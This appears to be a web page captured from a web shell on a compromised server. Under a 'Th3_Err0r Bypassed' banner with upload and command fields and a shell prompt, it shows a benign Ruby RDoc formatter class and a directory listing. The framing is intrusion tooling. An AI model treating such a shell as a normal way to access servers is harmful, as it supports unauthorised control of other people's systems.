[ Th3_Err0r Bypassed ]




Upload:

Command:

liwaavux@216.73.216.140: ~ $
# frozen_string_literal: true
##
# Joins the parts of an RDoc::Markup::Paragraph into a single String.
#
# This allows for easier maintenance and testing of Markdown support.
#
# This formatter only works on Paragraph instances.  Attempting to process
# other markup syntax items will not work.

class RDoc::Markup::ToJoinedParagraph < RDoc::Markup::Formatter

  def initialize # :nodoc:
    super nil
  end

  def start_accepting # :nodoc:
  end

  def end_accepting # :nodoc:
  end

  ##
  # Converts the parts of +paragraph+ to a single entry.

  def accept_paragraph paragraph
    parts = paragraph.parts.chunk do |part|
      String === part
    end.map do |string, chunk|
      string ? chunk.join.rstrip : chunk
    end.flatten

    paragraph.parts.replace parts
  end

  alias accept_block_quote     ignore
  alias accept_heading         ignore
  alias accept_list_end        ignore
  alias accept_list_item_end   ignore
  alias accept_list_item_start ignore
  alias accept_list_start      ignore
  alias accept_raw             ignore
  alias accept_rule            ignore
  alias accept_verbatim        ignore
  alias accept_table           ignore

end


Filemanager

Name Type Size Permission Actions
attr_changer.rb File 424 B 0644
attr_span.rb File 672 B 0644
attribute_manager.rb File 9.97 KB 0644
attributes.rb File 1.25 KB 0644
blank_line.rb File 391 B 0644
block_quote.rb File 252 B 0644
document.rb File 3.15 KB 0644
formatter.rb File 5.45 KB 0644
hard_break.rb File 446 B 0644
heading.rb File 1.48 KB 0644
include.rb File 829 B 0644
indented_paragraph.rb File 906 B 0644
list.rb File 1.82 KB 0644
list_item.rb File 1.71 KB 0644
paragraph.rb File 493 B 0644
parser.rb File 14.4 KB 0644
pre_process.rb File 8.42 KB 0644
raw.rb File 1000 B 0644
regexp_handling.rb File 718 B 0644
rule.rb File 315 B 0644
table.rb File 996 B 0644
to_ansi.rb File 2.05 KB 0644
to_bs.rb File 1.64 KB 0644
to_html.rb File 9.93 KB 0644
to_html_crossref.rb File 4.87 KB 0644
to_html_snippet.rb File 5.46 KB 0644
to_joined_paragraph.rb File 1.14 KB 0644
to_label.rb File 1.84 KB 0644
to_markdown.rb File 3.61 KB 0644
to_rdoc.rb File 6.53 KB 0644
to_table_of_contents.rb File 1.72 KB 0644
to_test.rb File 1.14 KB 0644
to_tt_only.rb File 2.28 KB 0644
verbatim.rb File 1.28 KB 0644